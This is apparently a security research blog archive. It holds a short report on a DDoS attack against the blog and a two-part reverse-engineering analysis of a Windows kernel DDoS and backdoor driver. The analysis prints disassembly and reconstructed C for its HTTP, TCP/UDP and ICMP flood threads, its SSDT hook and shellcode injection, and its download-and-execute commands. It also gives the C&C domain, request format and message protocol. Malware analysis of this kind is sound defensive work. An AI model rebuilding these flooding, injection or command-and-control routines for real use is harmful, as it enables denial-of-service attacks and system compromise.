Archive for the 'ddos' Category

Botnet attack report

Hello dear readers,

the last night we have been under an heavy DDoS attack (so lame!), caused by a botnet that has targeted our blog.

Some Details.

The following is a graphical analysis of the botnet that has conducted this attack:


Question/Answer time.

Are we scared? No :]
Will we stop our research? No no :]
Will we stop reversing malwares? No, instead we are going to boost our performace ;]

Final words.

We want to thank our service provider for the help about this issue. Thanks!

Stay tuned!
– the InReverse Crew

DDoS Driver 2/2

In the previous part i mentioned a task array and described only part of the message structure, let’s resume from here and fill in the gaps: a task is described by the following structure:

struct task_entry {
    BOOL active; // 1 if the task is running, 0 otherwise
    BYTE id; // id of task (it's index into array)
    BYTE tcpUdp;
    WORD frequency; // how fast send packets
    WORD port1;
    WORD port2;
    WORD pktSize;
    DWORD target; // DDoS target address
    char * data;
}

and this is the complete message structure:

struct Message {
      WORD magic;      //  BAFAh
      WORD msgLen;
      BYTE cmd;      // command to execute
      WORD waitTime;  // wait time (# of seconds) before recontact C&C
      BYTE id; // id of work to be added/replaced
      BYTE threadNr;
      WORD frequency;
      WORD port1;
      WORD port2;
      WORD pktSize;
      BYTE stopCnt;
      BYTE stopIds[1];
}

cmd takes values from 1 to 9: each of them specifies a different command.

1 – HTTP

The target hostname and HTTP request string are extracted from the message: they are encoded as <target_hostname>!<HTTP request> at the end of the message (that is after the stopIds array, if there is any)

mov     esi, [ebp+message]
movzx   eax, [esi+NUPS_MESSAGE.stopCnt]
push    edi
lea     ebx, [eax+esi+NUPS_MESSAGE.stopIds]
push    '!'             ; int
push    ebx             ; char *
call    ds:strchr
mov     edi, eax
test    edi, edi
pop     ecx
pop     ecx
jz      ERROR

the extracted hostname is resolved

and     byte ptr [edi], 0
push    ebx             ; hostname
call    resolveHostname

and here the HTTP request is copied into the newly allocated buffer which will be assigned to the data field of the task entry

push    206B6444h
push    1024            ; NumberOfBytes
push    PagedPool       ; PoolType
call    ds:ExAllocatePoolWithTag
movzx   ecx, [esi+NUPS_MESSAGE.id]
mov     edx, task_array
imul    ecx, size TASK_ENTRY
mov     [ecx+edx+TASK_ENTRY.data], eax
...
lea     ecx, [edi+1] ;edi+1 points to the chracter after '!'
loc_11E39: ; strcpy
mov     al, [ecx]
inc     ecx
mov     [edx], al
inc     edx
test    al, al
jnz     short loc_11E39
...

after that the task entry corresponding to msg.id is filled with the information from the message:

; esi points to the message
movzx   eax, [esi+NUPS_MESSAGE.id]
mov     ecx, task_array
imul    eax, size TASK_ENTRY
mov     [eax+ecx+TASK_ENTRY.Active], 1

mov     al, [esi+NUPS_MESSAGE.id]
mov     edx, task_array
movzx   ecx, al
imul    ecx, size TASK_ENTRY
mov     [ecx+edx+TASK_ENTRY.Id], al

movzx   eax, [esi+NUPS_MESSAGE.id]
mov     cx, [esi+NUPS_MESSAGE.port1]
imul    eax, size TASK_ENTRY
mov     edx, task_array
mov     [eax+edx+TASK_ENTRY.Port1], cx

movzx   eax, [esi+NUPS_MESSAGE.id]
mov     ecx, task_array
imul    eax, size TASK_ENTRY
mov     edx, [ebp+target]
mov     [eax+ecx+TASK_ENTRY.Address], edx

movzx   eax, [esi+NUPS_MESSAGE.id]
mov     cx, [esi+NUPS_MESSAGE.frequency]
imul    eax, size TASK_ENTRY
mov     edx, task_array
mov     [eax+edx+TASK_ENTRY.Freq], cx

once the setup fase is completed it spawns the threads that do the real work

while(message.threadNr > 0)
    PsCreateSystemThread(&thHandle, 0,0,0,0, HTTP_DDOS_THREAD, msg.id)

the HTTP_DDOS_THREAD function is like this:

PVOID buff;
LARGE_INTEGER delay;
sockaddr_in sockaddr;
char *httpData;
DWORD id;

if = (DWORD) StartContext;

delay.QuadPart = WDF_REL_TIMEOUT_IN_MS * task_array[id].frequency;

buff = ExAllocatePoolWithTag(PagedPool, 1024, 0x206B6444);
if (buff == NULL)
   PsTerminateSystemThread(0);

sockaddr.sin_family = AF_INET;
sockaddr.sin_port = task_array[id].port1;
sockaddr.s_addr = task_array[id].target;

httpData = task_array[id].data;

// ExitFlag is a global flag used to interrupt the driver operations
 while ( !ExitFlag && task_array[id].active == TRUE )
{
	tdi_socket = TDI_SOCKET(TCP);

	if ( tdi_socket > 0 )
	{

		if ( TDI_OPEN_SOCKET(tdi_socket, &sockaddr) >= 0 )
		{
		  TDI_SEND(tdi_socket, httpData, strlen(httpData));
		  TDI_RECV(tdi_socket, buff, 1024);
		}

		TDI_CLOSE(tdi_socket);
	}
	if (task_array[id].frequency)
		KeDelayExecutionThread(KernelMode, FALSE, &delay);
}

ExFreePoolWithTag(buff, 0);

2/3 – TCP/UDP

As in the previous case the steps are the same: the task entry is being filled from the message and then several threads are spawned, let’s jump directly to the thread code, it starts by allocating a buffer for the data to be sent

movzx   eax, [ebx+TASK_ENTRY.PktSize]
push    206B6444h       ; Tag
push    eax             ; NumberOfBytes
push    1               ; PoolType
call    ds:ExAllocatePoolWithTag
xor     edi, edi
cmp     eax, edi
mov     [ebp+send_buff], eax

the buffer is filled with random data

xor     ebx, ebx
...
FILL_BUFF_RAND:
call    ds:rand
cdq
mov     ecx, 100h       ; % FF
idiv    ecx
mov     eax, [ebp+send_buff]
mov     [ebx+eax], dl
mov     eax, task_array
movzx   ecx, [esi+eax+TASK_ENTRY.PktSize]
inc     ebx
cmp     ebx, ecx
jl      short FILL_BUFF_RAND

and then it starts sending packets

sockaddr_in sockaddr;

sockaddr.sin_family = AF_INET;
sockaddr.s_addr = task_array[id].target;

// create and fill up send_buff

// ExitFlag is a global flag used to interrupt the driver operations
 while ( !ExitFlag && task_array[id].active == TRUE )
{

	if (task_array[id].TcpUdp == 3)
		tdi_socket = TDI_SOCKET(UDP);
	else
		tdi_socket = TDI_SOCKET(TCP);

	if ( tdi_socket > 0 )
	{
		if (task_array[id].port1 != task_array[id].port2)

			sockaddr.sin_port = htons(task_array[id].port1 + (rand() % (task_array[id].port2 - task_array[id].port1) + 1))
		else
			sockaddr.sin_port = htons(task_array[id].port1);


		if ( TDI_OPEN_SOCKET(tdi_socket, &sockaddr) >= 0 )
		  TDI_SEND(tdi_socket, send_buff, task_array[id].PktSize);


		TDI_CLOSE(tdi_socket);
	}
	if (task_array[id].frequency)
		KeDelayExecutionThread(KernelMode, FALSE, &delay);
}

ExFreePoolWithTag(buff, 0);

4 – TCPCON

the init part is identical to the others, this is like a wannabe-SYN-Dos, you see it’s missing the TDI_CLOSE()

 while ( !ExitFlag && task_array[id].active == TRUE )
{

	tdi_socket = TDI_SOCKET(TCP);

	if ( tdi_socket > 0 )
	{
		if (task_array[id].port1 != task_array[id].port2)
			sockaddr.sin_port = htons(task_array[id].port1 + (rand() % (task_array[id].port2 - task_array[id].port1) + 1))
		else
			sockaddr.sin_port = htons(task_array[id].port1);


		TDI_OPEN_SOCKET(tdi_socket, &sockaddr);

	}
	if (task_array[id].frequency)
		KeDelayExecutionThread(KernelMode, FALSE, &delay);
}

5 – ICMP

here ICMP echo packets are sent to the target, in this case the port1, port2 fields (both in message and in task) are used to specify the size of the packet. Some reference on how it works can be found here

space for packet is allocated:

movzx   eax, [esi+eax+TASK_ENTRY.Port2]
push    206B6444h       ; Tag
add     eax, size ICMP_ECHO_REQUEST
push    eax             ; NumberOfBytes
push    1               ; PoolType
call    ds:ExAllocatePoolWithTag
mov     edi, eax

the structure is filled with the necessary information

mov     eax, task_array
mov     eax, [esi+eax+TASK_ENTRY.Address]
or      [edi+ICMP_ECHO_REQUEST.Ttl], 255
mov     [edi+ICMP_ECHO_REQUEST.Address], eax
mov     [edi+ICMP_ECHO_REQUEST.Timeout], 1
mov     [edi+ICMP_ECHO_REQUEST.DataOffset], size ICMP_ECHO_REQUEST
mov     [edi+ICMP_ECHO_REQUEST.OptionsValid], bl ;ebx is 0
mov     [edi+ICMP_ECHO_REQUEST.Tos], bl
mov     [edi+ICMP_ECHO_REQUEST.Flags], bl
mov     [edi+ICMP_ECHO_REQUEST.OptionsOffset], bx
mov     [edi+ICMP_ECHO_REQUEST.OptionsSize], bl
mov     [edi+ICMP_ECHO_REQUEST.Padding], bl

then it opens the device and sends IOCTL

push    offset aDeviceIp ; "\\Device\\Ip"
lea     eax, [ebp+DestinationString]
push    eax             ; DestinationString
mov     dword ptr [ebp+Interval+4], edx
call    ds:RtlInitUnicodeString
lea     eax, [ebp+DestinationString]
mov     [ebp+ObjectAttributes.ObjectName], eax
mov     eax, task_array
xor     ebx, ebx
mov     [ebp+ObjectAttributes.Length], 18h
mov     [ebp+ObjectAttributes.RootDirectory], ebx
mov     [ebp+ObjectAttributes.Attributes], 40h
mov     [ebp+ObjectAttributes.SecurityDescriptor], ebx
mov     [ebp+ObjectAttributes.SecurityQualityOfService], ebx
...
push    ebx             ; EaLength
push    ebx             ; EaBuffer
push    ebx             ; CreateOptions
push    1               ; CreateDisposition
push    3               ; ShareAccess
push    80h             ; FileAttributes
push    ebx             ; AllocationSize
lea     eax, [ebp+IoStatusBlock]
push    eax             ; IoStatusBlock
lea     eax, [ebp+ObjectAttributes]
push    eax             ; ObjectAttributes
push    0C0000000h      ; DesiredAccess
lea     eax, [ebp+Handle]
push    eax             ; FileHandle
call    ds:ZwCreateFile
...
movzx   eax, dx
add     eax, 14h
push    eax             ; OutputBufferLength
lea     ecx, [ebp+OutputBuffer]
push    ecx             ; OutputBuffer
push    eax             ; InputBufferLength
push    edi             ; InputBuffer
push    120000h         ; IoControlCode
lea     eax, [ebp+IoStatusBlock]
push    eax             ; IoStatusBlock
push    ebx             ; ApcContext
push    ebx             ; ApcRoutine
push    ebx             ; Event
mov     [edi+ICMP_ECHO_REQUEST.DataSize], dx
push    [ebp+Handle]    ; FileHandle
call    ds:ZwDeviceIoControlFile

7 – UPDATE

This command is used to update the driver, it first checks the password in the message before continuing:

cmp     [esi+NUPS_MESSAGE.port1], 3039h

the message data is encoded like before: <target_hostname>!<HTTP request>
the http request specifies the path of the binary, that will be downloaded and substituted to the current one.

push    1               ; verifyMZSign
lea     ecx, [ebp+SrcPath]
add     eax, esi
push    ecx             ; FilePath "\\??\\c:\\tmp.tmp"
push    [eax+TASK_ENTRY.data] ; HttpRequest
push    [eax+TASK_ENTRY.Address] ; address
call    RecvFile
cdq
mov     ecx, 65536
idiv    ecx
mov     eax, task_array
movzx   eax, [esi+eax+TASK_ENTRY.PktSize]
pop     edi
pop     esi
cmp     edx, eax

as you can see it’s present a check on the downloaded binary length, and it’s present a flag that checks if the downloaded binary starts with the ‘MZ’ signature. The received file is then substituted to the current .sys file.

Note: after substitution on filesystem, the new driver is not loaded.

8 – RUN COMMAND

in this case the message data contains a command to execute, the technique used is one of the different techniques one can use to execute commands from ring0 to ring3 on windows (thanks baidu)

msg_exec

Using the words of H D Moore:

Basically, the ring0 code hooks the system call entrypoint to point to its own stub. This entry point is called by every process that calls any system call. The stub then tries to determine whether the calling process is the target (lsass.exe is default). If the target process name matches, we reset the syscall hook and run the code in the target process. This means that one of the target process’s threads is randomly hijacked to run our code instead of what it was trying to do (call a system call).
[…]
but you have to wait for them to execute a system call to get your code injected.

and that’s exectly what it does, except that it doesnt do the check for the target process.

and     IsHooked, 0
mov     eax, ds:KeServiceDescriptorTable
mov     ecx, openkey_idx ; index of OpenKey function
mov     uCmdShow, 6
mov     second_param, esi
mov     eax, [eax]
mov     eax, [eax+ecx*4]
push    offset aWaitExec ; "WAIT EXEC"
mov     originalOpenKey, eax
mov     IsHooked, 1
call    DbgPrint
mov     [esp+8+stub_code], offset hijacking
push    openkey_idx
call    hook_SSDT

hook_SSDT is the classical function for changing a syscall in the SSDT, so let’s see directly the hijacking function:

.text:00011881	call    PsGetCurrentProcessId
.text:00011886	cmp     eax, 4 ; dont hook System process
.text:00011889	jbe     short loc_118B5
.text:0001188B	push    originalOpenKey
.text:00011891	push    openkey_idx
.text:00011897	call    hook_SSDT ; restor original OpenKey
.text:0001189C	and     IsHooked, 0
.text:000118A3	call    injectCode ; inject code
.text:000118A8	push    eax
.text:000118A9	push    offset aRetI    ; Format
.text:000118AE	call    DbgPrint
.text:000118B3	pop     ecx
.text:000118B4	pop     ecx
.text:000118B5
.text:000118B5 loc_118B5:
.text:000118B5	jmp     originalOpenKey

injectCode, allocates space in the target process, copies the shellcode into that and then calls KeUserModeCallback to execute the shellcode (it’s a classical WinExec shellcode).

9 – LOAD N EXEC

downloads a file from web and esecutes it.
the file is saved as “c:\\tmp.exe” and it is executed using the same code of CMDEXEC case.

and that’s it for now ๐Ÿ˜›

DDoS Driver 1/2

And finally we can analyze the real kernel driver (nups.sys – 36312A4D9ED66377CDEF09B0A247F8AF), turns out it’s a ddos/backdoor agent.
This driver comes with no obfuscation/protection whatsoever and as a bonus the author was so kind to leave the DbgPrint calls and debug strings like this:

U:\MyProg\WORK\10428\!!BOTSRC!!!\objfre\i386\bot.pdb

When the driver starts it gets the agent ID from Params value in its registry entry, and if it’s not present it generates one using rdtsc and saves it.

.text:000119A2    rdtsc
.text:000119A4    mov     [ebp+var_4], eax
.text:000119A7    add     [ebp+var_4], edx
.text:000119AA    push    [ebp+var_4]
.text:000119AD    push    offset a02_8x   ; "%02.8X"
.text:000119B2    push    12h             ; size_t
.text:000119B4    push    [ebp+arg_0]     ; wchar_t *
.text:000119B7    call    ds:_snwprintf

After that it builds a list of DNS servers, getting them from the network interfaces, cycling through the keys in:

HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces

and using the value stored in NameServer or DhcpNameServer.
This list is used to resolve the ip address of the C&C server suxumzulum.cn: the driver builds a DNS query for the hostname and sends it to each of the nameservers in the list until it gets a response.

All network communications are handled using TDI sockets. Through all the driver we’ll encounter basically four socket functions that i renamed accordingly to their function:

TDI_CREATE_SOCKET // allocates a structure that hold various handles and flags needed to manage the TDI socket
TDI_CONNECT // _if_ it's a tcp socket establish a connection
TDI_SEND // send data over a socket
TDI_RECV // receive data from the socket
TDI_CLOSE // closes the socket

I’m not going to describe in detail those four functions because they are widely known and you can find plenty of implementations like this or this.

Once the initialization is completed, the driver sends a request to the C&C server asking for tasks, most of the tasks are DDoS sessions, these ones are memorized in an array(256 entries) until the session is stopped.

The request is a classical HTTP GET request sent on port 80 of the C&C server:

GET /main/rand/test.php?ver=0001&group=0001&id=&cmd= HTTP/1.0
Host: suxumzulum.cn

where <ID> is the agent Id previously generated.
The response is stripped of the HTTP headers and consists in a hex string pretty much like this one:

faba1a00083c00010110270000000000000063616c632e657865

Note: since the C&C server is down i’ve reversed the whole protocol and wrote a C&C server to verify my findings

Once the message is received the driver performs some preliminary checks:

  1. each character in the string must fall into a-f or 0-9
  2. the message length must be a multiple of 2 (that is: 2 hex digits per byte)

if one of these two checks fails the message is discarded, otherwise the message is translated in its binary form (i.e. “faba1a..” becomes 0xFA 0xBA 0x1A.. and so on).

On the translated message are performed other checks:

  1. the first WORD of message must be equal to a magic value BAFAh
  2. the second WORD of message must be equal to the length of the entire message

also in this case, if one of the checks fails the message is discarded.

The first part of the message is composed always by these four fields:

struct Message {
      WORD magic;      //  BAFAh
      WORD msgLen;
      BYTE cmd;      // command to execute
      WORD waitTime;  // wait time before sending another request to C&C (# of seconds)
      ...
}

the rest of the message is interpreted differently based on the value of the cmd field:

  • [cmd = 0] means there are no tasks to add, and the message specifies an array of tasks ids to stop
  • [cmd != 0] the message contains a task to execute and can also specify an array of tasks ids to stop.

In the first case (cmd = 0), the next fields of the message would be:

	BYTE arraySize;
	BYTE array[1];

where arraySize indicates the size of the following array of ids.

The second case (cmd != 0) is obviously more interesting because here is where works are added, cmd can take 8 different values, each one corresponding to a different task:

  1. HTTP
  2. TCP
  3. UDP
  4. TCPCON
  5. ICMP
  6. UPDATE
  7. CMDEXEC
  8. LOADNEXEC

in the second part we’ll see each one of the commands.